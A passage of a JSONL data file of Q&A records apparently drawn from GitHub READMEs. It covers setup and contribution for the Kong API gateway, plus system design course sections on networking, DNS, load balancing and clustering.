| Unlimited |\n| Great Learning | Free Project Management course | [Link](https://www.mygreatlearning.com/academy/learn-for-free/courses/project-management) | Unlimited |\n(back to top)", "tags": ["cloudcommunity"], "source": "github_gists", "category": "cloudcommunity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 49725, "answer_score": 10, "has_code": false, "url": "https://github.com/cloudcommunity/Free-Certifications", "collected_at": "2026-01-16T23:30:34.329786"}
{"id": "gh_5187f70677a0", "question": "How to: Getting Started", "question_body": "About Kong/kong", "answer": "If you prefer to use a cloud-hosted Kong, you can [sign up for a free trial of Kong Konnect](https://konghq.com/products/kong-konnect/register?utm_medium=Referral&utm_source=Github&utm_campaign=kong-gateway&utm_content=konnect-promo-in-gateway&utm_term=get-started) and get started in minutes. If not, you can follow the instructions below to get started with Kong on your own infrastructure.\n\nLet’s test drive Kong by adding authentication to an API in under 5 minutes.\n\nWe suggest using the docker-compose distribution via the instructions below, but there is also a [docker installation](https://docs.konghq.com/gateway/latest/install/docker/#install-kong-gateway-in-db-less-mode) procedure if you’d prefer to run the Kong Gateway in DB-less mode.\n\nWhether you’re running in the cloud, on bare metal, or using containers, you can find every supported distribution on our [official installation](https://konghq.com/install/#kong-community) page.\n\n1) To start, clone the Docker repository and navigate to the compose folder.\n```cmd\n  $ git clone https://github.com/Kong/docker-kong\n  $ cd docker-kong/compose/\n```\n\n2) Start the Gateway stack using:\n```cmd\n  $ KONG_DATABASE=postgres docker-compose --profile database up\n```\n\nThe Gateway is now available on the following ports on localhost:\n\n- `:8000` - send traffic to your service via Kong\n- `:8001` - configure Kong using Admin API or via [decK](https://github.com/kong/deck)\n- `:8002` - access Kong's management Web UI ([Kong Manager](https://github.com/Kong/kong-manager)) on [localhost:8002](http://localhost:8002)\n\nNext, follow the [quick start guide](https://docs.konghq.com/gateway-oss/latest/getting-started/configuring-a-service/\n) to tour the Gateway features.", "tags": ["Kong"], "source": "github_gists", "category": "Kong", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 42545, "answer_score": 10, "has_code": true, "url": "https://github.com/Kong/kong", "collected_at": "2026-01-16T23:30:35.668768"}
{"id": "gh_20e2ae0f91ae", "question": "How to: Getting started with AI Gateway for LLM and MCP", "question_body": "About Kong/kong", "answer": "If you would like to get started with Kong AI Gateway capabilities including LLM and MCP features, please refer to the [official AI documentation](https://developer.konghq.com/ai-gateway/).", "tags": ["Kong"], "source": "github_gists", "category": "Kong", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 42545, "answer_score": 10, "has_code": false, "url": "https://github.com/Kong/kong", "collected_at": "2026-01-16T23:30:35.668782"}
{"id": "gh_89937974d9e5", "question": "How to: Plugin Hub", "question_body": "About Kong/kong", "answer": "Plugins provide advanced functionality that extends the use of the Gateway. Many of the Kong Inc. and community-developed plugins like AWS Lambda, Correlation ID, and Response Transformer are showcased at the [Plugin Hub](https://docs.konghq.com/hub/).\n\nContribute to the Plugin Hub and ensure your next innovative idea is published and available to the broader community!", "tags": ["Kong"], "source": "github_gists", "category": "Kong", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 42545, "answer_score": 10, "has_code": false, "url": "https://github.com/Kong/kong", "collected_at": "2026-01-16T23:30:35.668790"}
{"id": "gh_bed7c5366078", "question": "How to: Contributing", "question_body": "About Kong/kong", "answer": "We ❤️ pull requests, and we’re continually working hard to make it as easy as possible for developers to contribute. Before beginning development with the Kong Gateway, please familiarize yourself with the following developer resources:\n\n- Community Pledge ([COMMUNITY_PLEDGE.md](COMMUNITY_PLEDGE.md)) for our pledge to interact with you, the open source community.\n- Contributor Guide ([CONTRIBUTING.md](CONTRIBUTING.md)) to learn about how to contribute to Kong.\n- Development Guide ([DEVELOPER.md](DEVELOPER.md)): Setting up your development environment.\n- [CODE_OF_CONDUCT](CODE_OF_CONDUCT.md) and [COPYRIGHT](COPYRIGHT)\n\nUse the [Plugin Development Guide](https://docs.konghq.com/latest/plugin-development/) for building new and creative plugins, or browse the online version of Kong's source code documentation in the [Plugin Development Kit (PDK) Reference](https://docs.konghq.com/latest/pdk/). Developers can build plugins in [Lua](https://docs.konghq.com/gateway/latest/plugin-development/), [Go](https://docs.konghq.com/gateway-oss/latest/external-plugins/#developing-go-plugins) or [JavaScript](https://docs.konghq.com/gateway-oss/latest/external-plugins/#developing-javascript-plugins).", "tags": ["Kong"], "source": "github_gists", "category": "Kong", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 42545, "answer_score": 10, "has_code": false, "url": "https://github.com/Kong/kong", "collected_at": "2026-01-16T23:30:35.668800"}
{"id": "gh_410085ffdb80", "question": "How to: Konnect Cloud", "question_body": "About Kong/kong", "answer": "Kong Inc. offers commercial subscriptions that enhance the Kong Gateway in a variety of ways. Customers of Kong's [Konnect Cloud](https://konghq.com/kong-konnect/) subscription take advantage of additional gateway functionality, commercial support, and access to Kong's managed (SaaS) control plane platform. The Konnect Cloud platform features include real-time analytics, a service catalog, developer portals, and so much more! [Get started](https://konghq.com/products/kong-konnect/register?utm_medium=Referral&utm_source=Github&utm_campaign=kong-gateway&utm_content=konnect-promo-in-gateway&utm_term=get-started) with Konnect Cloud.", "tags": ["Kong"], "source": "github_gists", "category": "Kong", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 42545, "answer_score": 10, "has_code": false, "url": "https://github.com/Kong/kong", "collected_at": "2026-01-16T23:30:35.668813"}
{"id": "gh_02872ef60061", "question": "How to: What is system design?", "question_body": "About karanpratapsingh/system-design", "answer": "Before we start this course, let's talk about what even is system design.\n\nSystem design is the process of defining the architecture, interfaces, and data\nfor a system that satisfies specific requirements. System design meets the needs\nof your business or organization through coherent and efficient systems. It requires\na systematic approach to building and engineering systems. A good system design requires\nus to think about everything, from infrastructure all the way down to the data and how it's stored.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597122"}
{"id": "gh_ad2ca2c41c18", "question": "How to: Why is System Design so important?", "question_body": "About karanpratapsingh/system-design", "answer": "System design helps us define a solution that meets the business requirements. It is\none of the earliest decisions we can make when building a system. Often it is essential\nto think from a high level as these decisions are very difficult to correct later. It\nalso makes it easier to reason about and manage architectural changes as the system evolves.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597129"}
{"id": "gh_aa0b6f8b946d", "question": "How to: Why does the OSI model matter?", "question_body": "About karanpratapsingh/system-design", "answer": "The Open System Interconnection (OSI) model has defined the common terminology used in networking discussions and documentation. This allows us to take a very complex communications process apart and evaluate its components.\n\nWhile this model is not directly implemented in the TCP/IP networks that are most common today, it can still help us do so much more, such as:\n\n- Make troubleshooting easier and help identify threats across the entire stack.\n- Encourage hardware manufacturers to create networking products that can communicate with each other over the network.\n- Essential for developing a security-first mindset.\n- Separate a complex function into simpler components.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597139"}
{"id": "gh_de7003a987aa", "question": "How to: Application", "question_body": "About karanpratapsingh/system-design", "answer": "This is the only layer that directly interacts with data from the user. Software applications like web browsers and email clients rely on the application layer to initiate communication. But it should be made clear that client software applications are not part of the application layer, rather the application layer is responsible for the protocols and data manipulation that the software relies on to present meaningful data to the user. Application layer protocols include HTTP as well as SMTP.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597144"}
{"id": "gh_a1b3fac52fe9", "question": "How to: Presentation", "question_body": "About karanpratapsingh/system-design", "answer": "The presentation layer is also called the Translation layer. The data from the application layer is extracted here and manipulated as per the required format to transmit over the network. The functions of the presentation layer are translation, encryption/decryption, and compression.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597149"}
{"id": "gh_efb67da1a18d", "question": "How to: TCP vs UDP", "question_body": "About karanpratapsingh/system-design", "answer": "TCP is a connection-oriented protocol, whereas UDP is a connectionless protocol. A key difference between TCP and UDP is speed, as TCP is comparatively slower than UDP. Overall, UDP is a much faster, simpler, and more efficient protocol, however, retransmission of lost data packets is only possible with TCP.\n\nTCP provides ordered delivery of data from user to server (and vice versa), whereas UDP is not dedicated to end-to-end communications, nor does it check the readiness of the receiver.\n\n| Feature             | TCP                                         | UDP                                |\n| ------------------- | ------------------------------------------- | ---------------------------------- |\n| Connection          | Requires an established connection          | Connectionless protocol            |\n| Guaranteed delivery | Can guarantee delivery of data              | Cannot guarantee delivery of data  |\n| Re-transmission     | Re-transmission of lost packets is possible | No re-transmission of lost packets |\n| Speed               | Slower than UDP                             | Faster than TCP                    |\n| Broadcasting        | Does not support broadcasting               | Supports broadcasting              |\n| Use cases           | HTTPS, HTTP, SMTP, POP, FTP, etc            | Video streaming, DNS, VoIP, etc    |", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597159"}
{"id": "gh_0286346edd1f", "question": "How to: Domain Name System (DNS)", "question_body": "About karanpratapsingh/system-design", "answer": "Earlier we learned about IP addresses that enable every machine to connect with other machines. But as we know humans are more comfortable with names than numbers. It's easier to remember a name like `google.com` than something like `122.250.192.232`.\n\nThis brings us to Domain Name System (DNS) which is a hierarchical and decentralized naming system used for translating human-readable domain names to IP addresses.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597165"}
{"id": "gh_846d541e49de", "question": "How to: How DNS works", "question_body": "About karanpratapsingh/system-design", "answer": "![how-dns-works](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/domain-name-system/how-dns-works.png)\n\nDNS lookup involves the following eight steps:\n\n1. A client types [example.com](http://example.com) into a web browser, the query travels to the internet and is received by a DNS resolver.\n2. The resolver then recursively queries a DNS root nameserver.\n3. The root server responds to the resolver with the address of a Top-Level Domain (TLD).\n4. The resolver then makes a request to the `.com` TLD.\n5. The TLD server then responds with the IP address of the domain's nameserver, [example.com](http://example.com).\n6. Lastly, the recursive resolver sends a query to the domain's nameserver.\n7. The IP address for [example.com](http://example.com) is then returned to the resolver from the nameserver.\n8. The DNS resolver then responds to the web browser with the IP address of the domain requested initially.\n\nOnce the IP address has been resolved, the client should be able to request content from the resolved IP address. For example, the resolved IP may return a webpage to be rendered in the browser.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597171"}
{"id": "gh_6eaa0eca2976", "question": "How to: Server types", "question_body": "About karanpratapsingh/system-design", "answer": "Now, let's look at the four key groups of servers that make up the DNS infrastructure.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597176"}
{"id": "gh_873539c477b9", "question": "How to: DNS Resolver", "question_body": "About karanpratapsingh/system-design", "answer": "A DNS resolver (also known as a DNS recursive resolver) is the first stop in a DNS query. The recursive resolver acts as a middleman between a client and a DNS nameserver. After receiving a DNS query from a web client, a recursive resolver will either respond with cached data, or send a request to a root nameserver, followed by another request to a TLD nameserver, and then one last request to an authoritative nameserver. After receiving a response from the authoritative nameserver containing the requested IP address, the recursive resolver then sends a response to the client.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597181"}
{"id": "gh_125bc11651ea", "question": "How to: DNS root server", "question_body": "About karanpratapsingh/system-design", "answer": "A root server accepts a recursive resolver's query which includes a domain name, and the root nameserver responds by directing the recursive resolver to a TLD nameserver, based on the extension of that domain (`.com`, `.net`, `.org`, etc.). The root nameservers are overseen by a nonprofit called the [Internet Corporation for Assigned Names and Numbers (ICANN)](https://www.icann.org).\n\nThere are 13 DNS root nameservers known to every recursive resolver. Note that while there are 13 root nameservers, that doesn't mean that there are only 13 machines in the root nameserver system. There are 13 types of root nameservers, but there are multiple copies of each one all over the world, which use [Anycast routing](https://en.wikipedia.org/wiki/Anycast) to provide speedy responses.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597187"}
{"id": "gh_9e794ee77eef", "question": "How to: TLD nameserver", "question_body": "About karanpratapsingh/system-design", "answer": "A TLD nameserver maintains information for all the domain names that share a common domain extension, such as `.com`, `.net`, or whatever comes after the last dot in a URL.\n\nManagement of TLD nameservers is handled by the [Internet Assigned Numbers Authority (IANA)](https://www.iana.org), which is a branch of [ICANN](https://www.icann.org). The IANA breaks up the TLD servers into two main groups:\n\n- **Generic top-level domains**: These are domains like `.com`, `.org`, `.net`, `.edu`, and `.gov`.\n- **Country code top-level domains**: These include any domains that are specific to a country or state. Examples include `.uk`, `.us`, `.ru`, and `.jp`.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597192"}
{"id": "gh_4369866be7ec", "question": "How to: Authoritative DNS server", "question_body": "About karanpratapsingh/system-design", "answer": "The authoritative nameserver is usually the resolver's last step in the journey for an IP address. The authoritative nameserver contains information specific to the domain name it serves (e.g. [google.com](http://google.com)) and it can provide a recursive resolver with the IP address of that server found in the DNS A record, or if the domain has a CNAME record (alias) it will provide the recursive resolver with an alias domain, at which point the recursive resolver will have to perform a whole new DNS lookup to procure a record from an authoritative nameserver (often an A record containing an IP address). If it cannot find the domain, returns the NXDOMAIN message.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597198"}
{"id": "gh_7bef2f5dc75b", "question": "How to: Non-recursive", "question_body": "About karanpratapsingh/system-design", "answer": "A non-recursive query is a query in which the DNS Resolver already knows the answer. It either immediately returns a DNS record because it already stores it in a local cache, or queries a DNS Name Server which is authoritative for the record, meaning it definitely holds the correct IP for that hostname. In both cases, there is no need for additional rounds of queries (like in recursive or iterative queries). Rather, a response is immediately returned to the client.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597205"}
{"id": "gh_36bc1984e9c0", "question": "How to: Record Types", "question_body": "About karanpratapsingh/system-design", "answer": "DNS records (aka zone files) are instructions that live in authoritative DNS servers and provide information about a domain including what IP address is associated with that domain and how to handle requests for that domain.\n\nThese records consist of a series of text files written in what is known as _DNS syntax_. DNS syntax is just a string of characters used as commands that tell the DNS server what to do. All DNS records also have a _\"TTL\"_, which stands for time-to-live, and indicates how often a DNS server will refresh that record.\n\nThere are more record types but for now, let's look at some of the most commonly used ones:\n\n- **A (Address record)**: This is the record that holds the IP address of a domain.\n- **AAAA (IP Version 6 Address record)**: The record that contains the IPv6 address for a domain (as opposed to A records, which stores the IPv4 address).\n- **CNAME (Canonical Name record)**: Forwards one domain or subdomain to another domain, does NOT provide an IP address.\n- **MX (Mail exchanger record)**: Directs mail to an email server.\n- **TXT (Text Record)**: This record lets an admin store text notes in the record. These records are often used for email security.\n- **NS (Name Server records)**: Stores the name server for a DNS entry.\n- **SOA (Start of Authority)**: Stores admin information about a domain.\n- **SRV (Service Location record)**: Specifies a port for specific services.\n- **PTR (Reverse-lookup Pointer record)**: Provides a domain name in reverse lookups.\n- **CERT (Certificate record)**: Stores public key certificates.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597213"}
{"id": "gh_4619ec26de2f", "question": "How to: Subdomains", "question_body": "About karanpratapsingh/system-design", "answer": "A subdomain is an additional part of our main domain name. It is commonly used to logically separate a website into sections. We can create multiple subdomains or child domains on the main domain.\n\nFor example, `blog.example.com` where `blog` is the subdomain, `example` is the primary domain and `.com` is the top-level domain (TLD). Similar examples can be `support.example.com` or `careers.example.com`.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597218"}
{"id": "gh_70cc2e963b90", "question": "How to: DNS Caching", "question_body": "About karanpratapsingh/system-design", "answer": "A DNS cache (sometimes called a DNS resolver cache) is a temporary database, maintained by a computer's operating system, that contains records of all the recent visits and attempted visits to websites and other internet domains. In other words, a DNS cache is just a memory of recent DNS lookups that our computer can quickly refer to when it's trying to figure out how to load a website.\n\nThe Domain Name System implements a time-to-live (TTL) on every DNS record. TTL specifies the number of seconds the record can be cached by a DNS client or server. When the record is stored in a cache, whatever TTL value came with it gets stored as well. The server continues to update the TTL of the record stored in the cache, counting down every second. When it hits zero, the record is deleted or purged from the cache. At that point, if a query for that record is received, the DNS server has to start the resolution process.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597224"}
{"id": "gh_8edec691d65d", "question": "How to: Reverse DNS", "question_body": "About karanpratapsingh/system-design", "answer": "A reverse DNS lookup is a DNS query for the domain name associated with a given IP address. This accomplishes the opposite of the more commonly used forward DNS lookup, in which the DNS system is queried to return an IP address. The process of reverse resolving an IP address uses PTR records. If the server does not have a PTR record, it cannot resolve a reverse lookup.\n\nReverse lookups are commonly used by email servers. Email servers check and see if an email message came from a valid server before bringing it onto their network. Many email servers will reject messages from any server that does not support reverse lookups or from a server that is highly unlikely to be legitimate.\n\n_Note: Reverse DNS lookups are not universally adopted as they are not critical to the normal function of the internet._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597230"}
{"id": "gh_464acdd571b8", "question": "How to: Load Balancing", "question_body": "About karanpratapsingh/system-design", "answer": "Load balancing lets us distribute incoming network traffic across multiple resources ensuring high availability and reliability by sending requests only to resources that are online. This provides the flexibility to add or subtract resources as demand dictates.\n\n![load-balancing](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/load-balancing/load-balancer.png)\n\nFor additional scalability and redundancy, we can try to load balance at each layer of our system:\n\n![load-balancing-layers](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/load-balancing/load-balancer-layers.png)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597235"}
{"id": "gh_a7d51bbb79be", "question": "How to: Workload distribution", "question_body": "About karanpratapsingh/system-design", "answer": "This is the core functionality provided by a load balancer and has several common variations:\n\n- **Host-based**: Distributes requests based on the requested hostname.\n- **Path-based**: Using the entire URL to distribute requests as opposed to just the hostname.\n- **Content-based**: Inspects the message content of a request. This allows distribution based on content such as the value of a parameter.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597241"}
{"id": "gh_fe51e2236494", "question": "How to: Network layer", "question_body": "About karanpratapsingh/system-design", "answer": "This is the load balancer that works at the network's transport layer, also known as layer 4. This performs routing based on networking information such as IP addresses and is not able to perform content-based routing. These are often dedicated hardware devices that can operate at high speed.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597246"}
{"id": "gh_692062bc483f", "question": "How to: Application layer", "question_body": "About karanpratapsingh/system-design", "answer": "This is the load balancer that operates at the application layer, also known as layer 7. Load balancers can read requests in their entirety and perform content-based routing. This allows the management of load based on a full understanding of traffic.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597251"}
{"id": "gh_23b2a6d512f7", "question": "How to: Routing Algorithms", "question_body": "About karanpratapsingh/system-design", "answer": "Now, let's discuss commonly used routing algorithms:\n\n- **Round-robin**: Requests are distributed to application servers in rotation.\n- **Weighted Round-robin**: Builds on the simple Round-robin technique to account for differing server characteristics such as compute and traffic handling capacity using weights that can be assigned via DNS records by the administrator.\n- **Least Connections**: A new request is sent to the server with the fewest current connections to clients. The relative computing capacity of each server is factored into determining which one has the least connections.\n- **Least Response Time**: Sends requests to the server selected by a formula that combines the fastest response time and fewest active connections.\n- **Least Bandwidth**: This method measures traffic in megabits per second (Mbps), sending client requests to the server with the least Mbps of traffic.\n- **Hashing**: Distributes requests based on a key we define, such as the client IP address or the request URL.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597258"}
{"id": "gh_5e0f089aece1", "question": "How to: Advantages", "question_body": "About karanpratapsingh/system-design", "answer": "Load balancing also plays a key role in preventing downtime, other advantages of load balancing include the following:\n\n- Scalability\n- Redundancy\n- Flexibility\n- Efficiency", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597263"}
{"id": "gh_4b39b425f0b8", "question": "How to: Redundant load balancers", "question_body": "About karanpratapsingh/system-design", "answer": "As you must've already guessed, the load balancer itself can be a single point of failure. To overcome this, a second or `N` number of load balancers can be used in a cluster mode.\n\nAnd, if there's a failure detection and the _active_ load balancer fails, another _passive_ load balancer can take over which will make our system more fault-tolerant.\n\n![redundant-load-balancing](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/load-balancing/redundant-load-balancer.png)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597268"}
{"id": "gh_971966d2d258", "question": "How to: Clustering", "question_body": "About karanpratapsingh/system-design", "answer": "At a high level, a computer cluster is a group of two or more computers, or nodes, that run in parallel to achieve a common goal. This allows workloads consisting of a high number of individual, parallelizable tasks to be distributed among the nodes in the cluster. As a result, these tasks can leverage the combined memory and processing power of each computer to increase overall performance.\n\nTo build a computer cluster, the individual nodes should be connected to a network to enable internode communication. The software can then be used to join the nodes together and form a cluster. It may have a shared storage device and/or local storage on each node.\n\n![cluster](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/clustering/cluster.png)\n\nTypically, at least one node is designated as the leader node and acts as the entry point to the cluster. The leader node may be responsible for delegating incoming work to the other nodes and, if necessary, aggregating the results and returning a response to the user.\n\nIdeally, a cluster functions as if it were a single system. A user accessing the cluster should not need to know whether the system is a cluster or an individual machine. Furthermore, a cluster should be designed to minimize latency and prevent bottlenecks in node-to-node communication.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597276"}
{"id": "gh_d9d65a530b29", "question": "How to: Configurations", "question_body": "About karanpratapsingh/system-design", "answer": "The two most commonly used high availability (HA) clustering configurations are active-active and active-passive.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597281"}
{"id": "gh_cc6eecca2496", "question": "How to: Active-Active", "question_body": "About karanpratapsingh/system-design", "answer": "![active-active](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/clustering/active-active.png)\n\nAn active-active cluster is typically made up of at least two nodes, both actively running the same kind of service simultaneously. The main purpose of an active-active cluster is to achieve load balancing. A load balancer distributes workloads across all nodes to prevent any single node from getting overloaded. Because there are more nodes available to serve, there will also be an improvement in throughput and response times.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597286"}
{"id": "gh_d498c7aab8f9", "question": "How to: Active-Passive", "question_body": "About karanpratapsingh/system-design", "answer": "![active-passive](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/clustering/active-passive.png)\n\nLike the active-active cluster configuration, an active-passive cluster also consists of at least two nodes. However, as the name _active-passive_ implies, not all nodes are going to be active. For example, in the case of two nodes, if the first node is already active, then the second node must be passive or on standby.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597291"}
{"id": "gh_5c469a18c0bf", "question": "How to: Load balancing vs Clustering", "question_body": "About karanpratapsingh/system-design", "answer": "Load balancing shares some common traits with clustering, but they are different processes. Clustering provides redundancy and boosts capacity and availability. Servers in a cluster are aware of each other and work together toward a common purpose. But with load balancing, servers are not aware of each other. Instead, they react to the requests they receive from the load balancer.\n\nWe can employ load balancing in conjunction with clustering, but it also is applicable in cases involving independent servers that share a common purpose such as to run a website, business application, web service, or some other IT resource.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597302"}
{"id": "gh_67231cfe7606", "question": "How to: Challenges", "question_body": "About karanpratapsingh/system-design", "answer": "The most obvious challenge clustering presents is the increased complexity of installation and maintenance. An operating system, the application, and its dependencies must each be installed and updated on every node.\n\nThis becomes even more complicated if the nodes in the cluster are not homogeneous. Resource utilization for each node must also be closely monitored, and logs should be aggregated to ensure that the software is behaving correctly.\n\nAdditionally, storage becomes more difficult to manage, a shared storage device must prevent nodes from overwriting one another and distributed data stores have to be kept in sync.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597307"}
